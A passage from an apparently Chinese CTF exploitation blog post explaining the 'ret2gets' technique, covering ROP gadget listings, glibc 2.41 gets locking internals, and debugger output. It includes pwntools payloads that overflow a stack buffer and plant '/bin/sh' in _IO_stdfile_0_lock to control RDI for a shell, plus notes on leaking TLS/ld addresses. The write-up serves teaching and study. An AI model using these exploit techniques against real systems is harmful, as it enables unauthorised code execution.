0x0000000000401012: je 0x3016; call rax; add rsp, 8; ret;
0x00000000004010a7: je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010a7: je 0x30b0; mov edi, 0x404020; jmp rax; ret;
0x000000000040109b: je 0x30b0; mov rax, qword ptr [rip + 0x2f2c]; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010e9: je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010e9: je 0x30f8; mov edi, 0x404020; jmp rax; nop word ptr [rax + rax]; ret;
0x00000000004010dd: je 0x30f8; mov rax, qword ptr [rip + 0x2efa]; test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010ae: jmp rax;
0x00000000004010f0: jmp rax; nop word ptr [rax + rax]; ret;
0x00000000004010ae: jmp rax; ret;
0x000000000040114e: lea eax, [rbp - 0x20]; mov rdi, rax; call 0x3040; mov eax, 0; leave; ret;
0x000000000040114d: lea rax, [rbp - 0x20]; mov rdi, rax; call 0x3040; mov eax, 0; leave; ret;
0x0000000000401116: mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x0000000000401159: mov eax, 0; leave; ret;
0x00000000004010e0: mov eax, dword ptr [rip + 0x2efa]; test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x000000000040109e: mov eax, dword ptr [rip + 0x2f2c]; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x0000000000401009: mov eax, dword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016; call rax;
0x0000000000401009: mov eax, dword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016; call rax; add rsp, 8; ret;
0x000000000040110f: mov ebp, esp; call 0x3090; mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x0000000000401069: mov edi, 0x401136; call qword ptr [rip + 0x2f53]; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x00000000004010a9: mov edi, 0x404020; jmp rax;
0x00000000004010eb: mov edi, 0x404020; jmp rax; nop word ptr [rax + rax]; ret;
0x00000000004010a9: mov edi, 0x404020; jmp rax; ret;
0x0000000000401152: mov edi, eax; call 0x3040; mov eax, 0; leave; ret;
0x00000000004010df: mov rax, qword ptr [rip + 0x2efa]; test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x000000000040109d: mov rax, qword ptr [rip + 0x2f2c]; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x0000000000401008: mov rax, qword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016; call rax;
0x0000000000401008: mov rax, qword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016; call rax; add rsp, 8; ret;
0x000000000040110e: mov rbp, rsp; call 0x3090; mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x0000000000401068: mov rdi, 0x401136; call qword ptr [rip + 0x2f53]; hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x0000000000401151: mov rdi, rax; call 0x3040; mov eax, 0; leave; ret;
0x0000000000401078: nop dword ptr [rax + rax]; endbr64; ret;
0x00000000004010f3: nop dword ptr [rax + rax]; ret;
0x0000000000401077: nop dword ptr cs:[rax + rax]; endbr64; ret;
0x00000000004010f2: nop word ptr [rax + rax]; ret;
0x0000000000401076: nop word ptr cs:[rax + rax]; endbr64; ret;
0x0000000000401007: or byte ptr [rax - 0x75], cl; add eax, 0x2fc9; test rax, rax; je 0x3016; call rax;
0x000000000040111d: pop rbp; ret;
0x000000000040110d: push rbp; mov rbp, rsp; call 0x3090; mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x0000000000401042: ret 0x2f;
0x0000000000401011: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
0x00000000004010de: sbb dword ptr [rax - 0x75], ecx; add eax, 0x2efa; test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010a0: sub al, 0x2f; add byte ptr [rax], al; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x0000000000401165: sub esp, 8; add rsp, 8; ret;
0x0000000000401005: sub esp, 8; mov rax, qword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016; call rax;
0x0000000000401164: sub rsp, 8; add rsp, 8; ret;
0x0000000000401004: sub rsp, 8; mov rax, qword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016; call rax;
0x000000000040107a: test byte ptr [rax], al; add byte ptr [rax], al; add byte ptr [rax], al; endbr64; ret;
0x0000000000401010: test eax, eax; je 0x3016; call rax;
0x0000000000401010: test eax, eax; je 0x3016; call rax; add rsp, 8; ret;
0x00000000004010a5: test eax, eax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010a5: test eax, eax; je 0x30b0; mov edi, 0x404020; jmp rax; ret;
0x00000000004010e7: test eax, eax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010e7: test eax, eax; je 0x30f8; mov edi, 0x404020; jmp rax; nop word ptr [rax + rax]; ret;
0x000000000040100f: test rax, rax; je 0x3016; call rax;
0x000000000040100f: test rax, rax; je 0x3016; call rax; add rsp, 8; ret;
0x00000000004010a4: test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010a4: test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax; ret;
0x00000000004010e6: test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010e6: test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax; nop word ptr [rax + rax]; ret;
0x00000000004010e2: cli; add byte ptr cs:[rax], al; test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x0000000000401163: cli; sub rsp, 8; add rsp, 8; ret;
0x0000000000401003: cli; sub rsp, 8; mov rax, qword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016; call rax;
0x0000000000401083: cli; ret;
0x0000000000401160: endbr64; sub rsp, 8; add rsp, 8; ret;
0x0000000000401000: endbr64; sub rsp, 8; mov rax, qword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016; call rax;
0x0000000000401080: endbr64; ret;
0x0000000000401075: hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040115e: leave; ret;
0x000000000040111f: nop; ret;
0x000000000040101a: ret;

111 gadgets found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是因为原先的这些控制寄存器的 gadgets 都是来自于 &lt;code&gt;__libc_csu_init&lt;/code&gt;，而现在这个函数因为包含了易于构造 ROP Chain 的 gadgets，在 GLIBC 2.34 中已经被 &lt;a href=&quot;https://sourceware.org/pipermail/libc-alpha/2021-February/122794.html&quot;&gt;patch&lt;/a&gt; 了，导致我们现在很难再找到有用的 gadgets 。&lt;/p&gt;
&lt;p&gt;这里我们在调用 &lt;code&gt;gets&lt;/code&gt; 的地方下断点，执行 &lt;code&gt;gets&lt;/code&gt; 之前 &lt;code&gt;rdi&lt;/code&gt; 指向的是 buf 的栈地址，&lt;code&gt;ni&lt;/code&gt;，随便输入什么后，发现 &lt;code&gt;rdi&lt;/code&gt; 寄存器变成了 &lt;code&gt;*RDI  0x7ffff7e137c0 (_IO_stdfile_0_lock) ◂— 0&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1lc6yoffsz.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.13m5a38r8s.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;定位一下，发现该结构体位于 libc 后的 rw 匿名映射段中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; vmmap $rdi
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)
    0x7ffff7e11000     0x7ffff7e13000 rw-p     2000 210000 libc.so.6
►   0x7ffff7e13000     0x7ffff7e20000 rw-p     d000      0 [anon_7ffff7e13] +0x7c0
    0x7ffff7fb4000     0x7ffff7fb9000 rw-p     5000      0 [anon_7ffff7fb4]
pwndbg&amp;gt; x/10gx $rdi
0x7ffff7e137c0 &amp;lt;_IO_stdfile_0_lock&amp;gt;: 0x0000000000000000 0x0000000000000000
0x7ffff7e137d0 &amp;lt;__pthread_force_elision&amp;gt;: 0x0000000000000000 0x0000000000000000
0x7ffff7e137e0 &amp;lt;__attr_list_lock&amp;gt;: 0x0000000000000000 0x0000000000000000
0x7ffff7e137f0 &amp;lt;init_sigcancel&amp;gt;: 0x0000000000000000 0x0000000000000000
0x7ffff7e13800 &amp;lt;__nptl_threads_events&amp;gt;: 0x0000000000000000 0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时如果我们再次调用 gets，我们就可以覆盖从 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt; 开始的数据，这可能会产生一些攻击面。&lt;/p&gt;
&lt;p&gt;这里我们先研究我们已经获得的 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;_IO_stdfile_0_lock&lt;/h2&gt;
&lt;p&gt;首先简单介绍一下 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt; 是什么，从名字上看，我们就能猜到它是一把「锁」，肯定是用于多线程安全的，实际上也确实如此，它主要用于锁住 &lt;code&gt;FILE&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;由于 glibc 支持多线程，许多函数实现需要线程安全。如果存在多个线程可以同时使用同一个 FILE 结构，那么当有两个线程尝试同时使用一个 FILE 结构时，就会产生条件竞争，可能会破坏 FILE 结构。解决方案就是加锁。&lt;/p&gt;
&lt;p&gt;:::tip
基于 &lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.41/source/libio/iogets.c&quot;&gt;glibc-2.41&lt;/a&gt; 的源码。
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;char *
_IO_gets (char *buf)
{
  size_t count;
  int ch;
  char *retval;

  _IO_acquire_lock (stdin);
  ch = _IO_getc_unlocked (stdin);
  if (ch == EOF)
    {
      retval = NULL;
      goto unlock_return;
    }
  if (ch == &apos;\n&apos;)
    count = 0;
  else
    {
      /* This is very tricky since a file descriptor may be in the
  non-blocking mode. The error flag doesn&apos;t mean much in this
  case. We return an error only when there is a new error. */
      int old_error = stdin-&amp;gt;_flags &amp;amp; _IO_ERR_SEEN;
      stdin-&amp;gt;_flags &amp;amp;= ~_IO_ERR_SEEN;
      buf[0] = (char) ch;
      count = _IO_getline (stdin, buf + 1, INT_MAX, &apos;\n&apos;, 0) + 1;
      if (stdin-&amp;gt;_flags &amp;amp; _IO_ERR_SEEN)
 {
   retval = NULL;
   goto unlock_return;
 }
      else
 stdin-&amp;gt;_flags |= old_error;
    }
  buf[count] = 0;
  retval = buf;
unlock_return:
  _IO_release_lock (stdin);
  return retval;
}

weak_alias (_IO_gets, gets)

link_warning (gets, &quot;the `gets&apos; function is dangerous and should not be used.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;函数开始时使用 &lt;code&gt;_IO_acquire_lock&lt;/code&gt; 获取锁，结束时使用 &lt;code&gt;_IO_release_lock&lt;/code&gt; 释放锁。获取锁会告知其它线程 &lt;code&gt;stdin&lt;/code&gt; 当前正在被使用中，所以其余任何尝试访问 stdin 的线程都将被强制等待，直到该线程释放锁后，其它线程才可以获取锁。&lt;/p&gt;
&lt;p&gt;因此，&lt;code&gt;FILE&lt;/code&gt; 有一个 &lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.41/source/libio/bits/types/struct_FILE.h#L84&quot;&gt;_lock&lt;/a&gt; 字段，它是一个指向 &lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.41/source/sysdeps/nptl/stdio-lock.h#L26&quot;&gt;_IO_lock_t&lt;/a&gt; 的指针：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct _IO_FILE;
struct _IO_marker;
struct _IO_codecvt;
struct _IO_wide_data;

/* During the build of glibc itself, _IO_lock_t will already have been
   defined by internal headers.  */
#ifndef _IO_lock_t_defined
typedef void _IO_lock_t;
#endif

/* The tag name of this struct is _IO_FILE to preserve historic
   C++ mangled names for functions taking FILE* arguments.
   That name should not be used in new code.  */
struct _IO_FILE
{
  int _flags;  /* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr; /* Current read pointer */
  char *_IO_read_end; /* End of get area. */
  char *_IO_read_base; /* Start of putback+get area. */
  char *_IO_write_base; /* Start of put area. */
  char *_IO_write_ptr; /* Current put pointer. */
  char *_IO_write_end; /* End of put area. */
  char *_IO_buf_base; /* Start of reserve area. */
  char *_IO_buf_end; /* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2:24;
  /* Fallback buffer to use when malloc fails to allocate one.  */
  char _short_backupbuf[1];
  __off_t _old_offset; /* This used to be _offset but it&apos;s too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;typedef struct {
  int lock;
  int cnt;
  void *owner;
} _IO_lock_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
这个 &lt;code&gt;_lock&lt;/code&gt; 指针指向的就是我们 &lt;code&gt;rdi&lt;/code&gt; 中的 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt;，先记住这点，下面有用。
:::&lt;/p&gt;
&lt;h3&gt;_IO_acquire_lock / _IO_release_lock&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#define _IO_USER_LOCK 0x8000

# ifdef __EXCEPTIONS
#  define _IO_acquire_lock(_fp) \
  do {                                                                    \
    FILE *_IO_acquire_lock_file                                           \
 __attribute__((cleanup (_IO_acquire_lock_fct)))                          \
 = (_fp);                                                                 \
    _IO_flockfile (_IO_acquire_lock_file);
# else
#  define _IO_acquire_lock(_fp) _IO_acquire_lock_needs_exceptions_enabled
# endif
# define _IO_release_lock(_fp) ; } while (0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;__attribute__((cleanup (_IO_acquire_lock_fct))) = (_fp);&lt;/code&gt; 主要就是将 cleanup 函数 &lt;code&gt;_IO_acquire_lock_fct&lt;/code&gt; 和 &lt;code&gt;_fp&lt;/code&gt; 进行一个绑定。使得在 &lt;code&gt;do { ... } while (0)&lt;/code&gt; 作用域结束后自动对 &lt;code&gt;_fp&lt;/code&gt; 调用 &lt;code&gt;_IO_acquire_lock_fct&lt;/code&gt; 进行 cleanup 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static inline void
__attribute__ ((__always_inline__))
_IO_acquire_lock_fct (FILE **p)
{
  FILE *fp = *p;
  if ((fp-&amp;gt;_flags &amp;amp; _IO_USER_LOCK) == 0)
    _IO_funlockfile (fp);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;_IO_USER_LOCK&lt;/code&gt; 标志是用来记录当前 I/O 流是否处于由用户显式请求的锁定状态。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;_IO_acquire_lock_fct&lt;/code&gt; 这个 cleanup 函数主要是，若 &lt;code&gt;FILE&lt;/code&gt; 没有设置 &lt;code&gt;_IO_USER_LOCK&lt;/code&gt; 标志，就对该文件解锁。&lt;/p&gt;
&lt;p&gt;我们发现这加锁解锁层层封装了好几个宏：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# define _IO_flockfile(_fp) \
  if (((_fp)-&amp;gt;_flags &amp;amp; _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)-&amp;gt;_lock)
# define _IO_funlockfile(_fp) \
  if (((_fp)-&amp;gt;_flags &amp;amp; _IO_USER_LOCK) == 0) _IO_lock_unlock (*(_fp)-&amp;gt;_lock)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果用户没有显示请求上锁/解锁，就调用后面的函数，否则说明用户之前已经调用过 &lt;code&gt;flockfile&lt;/code&gt; 或者 &lt;code&gt;funlockfile&lt;/code&gt;，这个 if 将确保它不会重复上锁/解锁。&lt;/p&gt;
&lt;p&gt;这还没完，真正执行最后上锁解锁操作的是下面的 &lt;code&gt;_IO_lock_lock&lt;/code&gt; 和 &lt;code&gt;_IO_lock_unlock&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;_IO_lock_lock / _IO_lock_unlock&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* Initializers for lock.  */
#define LLL_LOCK_INITIALIZER (0)
#define LLL_LOCK_INITIALIZER_LOCKED (1)

#define _IO_lock_lock(_name) \
  do {                                               \
    void *__self = THREAD_SELF;                      \
    if (SINGLE_THREAD_P &amp;amp;&amp;amp; (_name).owner == NULL)    \
      {                                              \
 (_name).lock = LLL_LOCK_INITIALIZER_LOCKED;         \
 (_name).owner = __self;                             \
      }                                              \
    else if ((_name).owner != __self)                \
      {                                              \
 lll_lock ((_name).lock, LLL_PRIVATE);               \
 (_name).owner = __self;                             \
      }                                              \
    else                                             \
      ++(_name).cnt;                                 \
  } while (0)

#define _IO_lock_unlock(_name) \
  do {                                               \
    if (SINGLE_THREAD_P &amp;amp;&amp;amp; (_name).cnt == 0)         \
      {                                              \
 (_name).owner = NULL;                               \
 (_name).lock = 0;                                   \
      }                                              \
    else if ((_name).cnt == 0)                       \
      {                                              \
 (_name).owner = NULL;                               \
 lll_unlock ((_name).lock, LLL_PRIVATE);             \
      }                                              \
    else                                             \
      --(_name).cnt;                                 \
  } while (0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的 &lt;code&gt;_name&lt;/code&gt; 即 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt;。&lt;code&gt;owner&lt;/code&gt; 字段存储当前持有锁的线程的 &lt;code&gt;TLS&lt;/code&gt; 结构体地址。&lt;/p&gt;
&lt;p&gt;加锁时，先获取当前线程 TLS 结构体地址，即 &lt;code&gt;THREAD_SELF&lt;/code&gt;，然后分三种情况：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;单线程优化：如果是单线程环境并且锁没被占用，则直接把锁设为 &lt;code&gt;LOCKED&lt;/code&gt;，并设置 &lt;code&gt;owner&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;多线程竞争：如果 &lt;code&gt;(_name).owner != __self&lt;/code&gt;，即锁不属于当前线程，是其他线程持有，则调用 &lt;code&gt;lll_lock()&lt;/code&gt;，阻塞直到锁可用后再尝试获取锁&lt;/li&gt;
&lt;li&gt;递归加锁：如果锁属于当前线程，说明同一线程再次加锁，则增加计数器 &lt;code&gt;cnt&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::tip
有关 &lt;code&gt;lll_lock()&lt;/code&gt; 的作用，简单来说就是：无论锁当前是否空闲，我调用它，都能保证最终自己持有这个锁（要么立刻成功，要么阻塞直到可用）。&lt;/p&gt;
&lt;p&gt;因为它的实现是对 &lt;code&gt;futex (fast userspace mutex)&lt;/code&gt; 的封装，futex 的特性为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;无竞争路径：如果锁的内部状态是「未锁」，原子操作直接把它设为「已锁」，立即返回，非常快&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;有竞争路径：如果发现锁已被其它线程持有，就会进入 futex 系统调用，把自己挂到等待队列上，一旦对方解锁唤醒，就可以立即获取到锁&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;释放锁的过程也很好理解：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;单线程优化：如果 &lt;code&gt;cnt&lt;/code&gt; 为 0（没有递归加锁），直接清空 &lt;code&gt;owner&lt;/code&gt;，把锁标记为解锁&lt;/li&gt;
&lt;li&gt;多线程情况：如果 &lt;code&gt;cnt&lt;/code&gt; 为 0，清空 &lt;code&gt;owner&lt;/code&gt;，并调用 &lt;code&gt;lll_unlock()&lt;/code&gt; 释放 futex 锁&lt;/li&gt;
&lt;li&gt;递归解锁：如果 &lt;code&gt;cnt &amp;gt; 0&lt;/code&gt;，说明是递归锁的一层，只会将 &lt;code&gt;cnt&lt;/code&gt; 减一，不真正释放锁&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;_IO_stdfile_0_lock in RDI ?&lt;/h3&gt;
&lt;p&gt;现在我们研究研究为啥 rdi 是 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt; 而不是别的。这里如果你使用源码级调试的话会看得更清楚一点。&lt;/p&gt;
&lt;p&gt;根据上面的分析，我们知道 &lt;code&gt;gets&lt;/code&gt; 在最后返回的时候会调用 &lt;code&gt;_IO_release_lock (stdin)&lt;/code&gt; 来释放锁。如果你还没忘记的话，我们定义 &lt;code&gt;_IO_acquire_lock (_fp)&lt;/code&gt; 的时候设置了 cleanup 函数，将 &lt;code&gt;_fp&lt;/code&gt; 和 &lt;code&gt;_IO_acquire_lock_fct&lt;/code&gt; 绑定，一旦离开此作用域，就会自动调用 &lt;code&gt;_IO_acquire_lock_fct (_fp)&lt;/code&gt;，而它内部又是通过 &lt;code&gt;_IO_funlockfile (fp)&lt;/code&gt; 调用了 &lt;code&gt;_IO_lock_unlock (*(_fp)-&amp;gt;_lock)&lt;/code&gt;，完成这一整个释放锁的流程并返回。而最后调用的 &lt;code&gt;_IO_lock_unlock (*(_fp)-&amp;gt;_lock)&lt;/code&gt; 使用的参数正是 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;很关键的一点就是，&lt;code&gt;_IO_release_lock(_fp)&lt;/code&gt; 也属于这个定义域，所以如果 &lt;code&gt;_IO_release_lock(_fp)&lt;/code&gt; 返回了，也会自动调用上面设置的 cleanup 函数。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.96a43f63z9.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7pnv6o8tk.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.esvqmae96.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;观察上面的调试输出，我们执行完 &lt;code&gt;_IO_lock_unlock (*(_fp)-&amp;gt;_lock)&lt;/code&gt; 后就直接返回到了 &lt;code&gt;main&lt;/code&gt;，并且执行完这个函数后在 epilogue 阶段并没有恢复 rdi，也就是说 rdi 会沿用最后一个被调用的函数的 rdi，即 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt; 这个值。&lt;/p&gt;
&lt;p&gt;&amp;lt;em&amp;gt;
呼呼～长舒一口气～写到这里已经凌晨三点了，因为白天上了一天课（简直是虚度光阴……），只能晚上科研力。好在明天课免修了，我可以一直睡到早上十点半再起来，七个小时，应该也够我睡的了 LOL&lt;/p&gt;
&lt;p&gt;要我说，这才是大学生活该有的样子啊，哈哈哈～
&amp;lt;/em&amp;gt;&lt;/p&gt;
&lt;p&gt;至此，我们已经搞清楚了整个流程，下面就研究如何利用吧～&lt;/p&gt;
&lt;h2&gt;Attack&lt;/h2&gt;
&lt;h3&gt;Controlling RDI&lt;/h3&gt;
&lt;p&gt;由于我们再次调用 gets 就会向 rdi，也就是 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt; 中写入数据，那如果我们将 &lt;code&gt;/bin/sh&lt;/code&gt; 写在这里，那 rdi 就变成了指向 &lt;code&gt;/bin/sh&lt;/code&gt; 的字符串指针，效果与 &lt;code&gt;pop rdi; ret&lt;/code&gt; 相当。此时如果我们可以调用 system 的话，就能 getshell 了。&lt;/p&gt;
&lt;p&gt;根据上面的分析，我们这种 &lt;code&gt;gets&lt;/code&gt; 的情况最后必然会通过 &lt;code&gt;((_fp)-&amp;gt;_flags &amp;amp; _IO_USER_LOCK) == 0&lt;/code&gt; 检测，进而调用 &lt;code&gt;_IO_lock_unlock (*(_fp)-&amp;gt;_lock)&lt;/code&gt;，所以我们只需要注意不要让这个函数内部执行的东西妨碍我们的利用即可。&lt;/p&gt;
&lt;p&gt;我们发现，只要执行 &lt;code&gt;_IO_lock_unlock&lt;/code&gt; 时 &lt;code&gt;cnt&lt;/code&gt; 不为 0 就可以不带什么 side effect 的安全地返回，不过它会将 &lt;code&gt;cnt&lt;/code&gt; 减一，如果我们直接传入 &lt;code&gt;/bin/sh&lt;/code&gt; 的话，默认已经覆盖到了 &lt;code&gt;cnt&lt;/code&gt;，但是由于减一会破坏我们的字符串，所以我们需要手动给那个位置的值加一。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload = flat(
    b&quot;A&quot; * 0x28,
    elf.plt[&quot;gets&quot;],
)
target.sendlineafter(b&quot;ROP me if you can!&quot;, payload)

payload = flat(
    b&quot;/bin&quot;,
    p8(u8(b&quot;/&quot;) + 1),
    b&quot;sh&quot;,
)
target.sendline(payload)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9o05sn4ed6.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;从上图我们可以看到，rdi 已经变成了我们的预期值，尽管会触发 SIGSEGV，但这也是必然的，毕竟我们还没有写入后续的 ROP Chain 。&lt;/p&gt;
&lt;p&gt;:::tip
如果我们不手动将 &lt;code&gt;_IO_stdfile_0_lock&lt;/code&gt; 的内容还原，&lt;code&gt;/bin/sh&lt;/code&gt; 就会一直存在在那里，所以后续调用 &lt;code&gt;gets&lt;/code&gt; 我们都会再次令 rdi 指向 &lt;code&gt;/bin/sh&lt;/code&gt;。而执行过程中的加锁虽然会增加 &lt;code&gt;cnt&lt;/code&gt;，但是执行完也会相应的进行解锁，减去 &lt;code&gt;cnt&lt;/code&gt;，所以对我们写入的字符串不会产生什么影响。
:::&lt;/p&gt;
&lt;h3&gt;Leaking libc / ld&lt;/h3&gt;
&lt;p&gt;解决了控制 rdi 的问题后，接下来介绍几种泄漏 libc / ld 的方法。&lt;/p&gt;
&lt;h4&gt;printf&lt;/h4&gt;
&lt;p&gt;如果我们可以调用 &lt;code&gt;printf&lt;/code&gt;，那就可以用和上面一样的方法，通过 &lt;code&gt;%?$p&lt;/code&gt; 然后返回到 printf 的方式泄漏任意地址。&lt;/p&gt;
&lt;p&gt;这里就不做单独的演示了，相信实践起来还是很简单的。&lt;/p&gt;
&lt;h4&gt;puts&lt;/h4&gt;
&lt;p&gt;倘若没有 &lt;code&gt;printf&lt;/code&gt;，只有 &lt;code&gt;puts&lt;/code&gt; 的话，我们就可以通过输出 &lt;code&gt;_lock.owner&lt;/code&gt; 的方式泄漏 TLS 的值，它相对于 ld 有着一个固定偏移，但是和 libc 之间没有固定偏移。&lt;/p&gt;
&lt;p&gt;:::caution
所以下面 &lt;a href=&quot;#references&quot;&gt;ret2gets&lt;/a&gt; 中写的是有问题的，作者认为它和 libc 之间存在固定偏移，但很显然 TLS 地址不属于 libc 的范围，mmap 的映射区和 libc 之间有个较大的可映射空间，每次都会映射到这个空间内的随机位置。不过如果我们计算它与 ld 之间的偏移，会发现这两者之间却存在固定偏移。&lt;/p&gt;
&lt;p&gt;那 ld 中是否存在可用的 gadgets 呢？我看了下 glibc 2.41 的 ld，发现里面几乎提供了控制每一个参数的 gadgets，甚至还有 syscall，尽管没有 onegadgets，但是我相信让你用这些 gadgets 手动构造一个 &lt;code&gt;execve&lt;/code&gt; 启 shell 绝对是手拿把掐的 xD&lt;/p&gt;
&lt;p&gt;当然，构造 sigreturn 就可以控制所有寄存器了，不是吗？感觉又掌握了一个堪比核武器的 trick LOL
:::&lt;/p&gt;
&lt;p&gt;这里我只对高版本 glibc 使用 &lt;code&gt;puts&lt;/code&gt; 泄漏 TLS 地址做一个总结，低版本也能用这个方法泄漏，但是没必要。不过我相信你学会高版本中泄漏 TLS 的方法后对于低版本怎么操作一定也没有问题。&lt;/p&gt;
&lt;p&gt;首先回顾一下高版本 glibc 中&lt;a href=&quot;#_io_lock_lock--_io_lock_unlock&quot;&gt;上锁/解锁&lt;/a&gt;的代码。当我们首次调用 &lt;code&gt;gets&lt;/code&gt; 的时候，会先进行一个上锁的操作，由于我们现在是单线程程序，且 &lt;code&gt;owner&lt;/code&gt; 为 NULL，所以肯定会进入 &lt;code&gt;SINGLE_THREAD_P &amp;amp;&amp;amp; (_name).owner == NULL&lt;/code&gt; 检测。这就会将锁设置为 &lt;code&gt;LLL_LOCK_INITIALIZER_LOCKED&lt;/code&gt;，即上锁状态，然后设置 &lt;code&gt;owner&lt;/code&gt; 为当前 TLS 结构体地址。&lt;/p&gt;
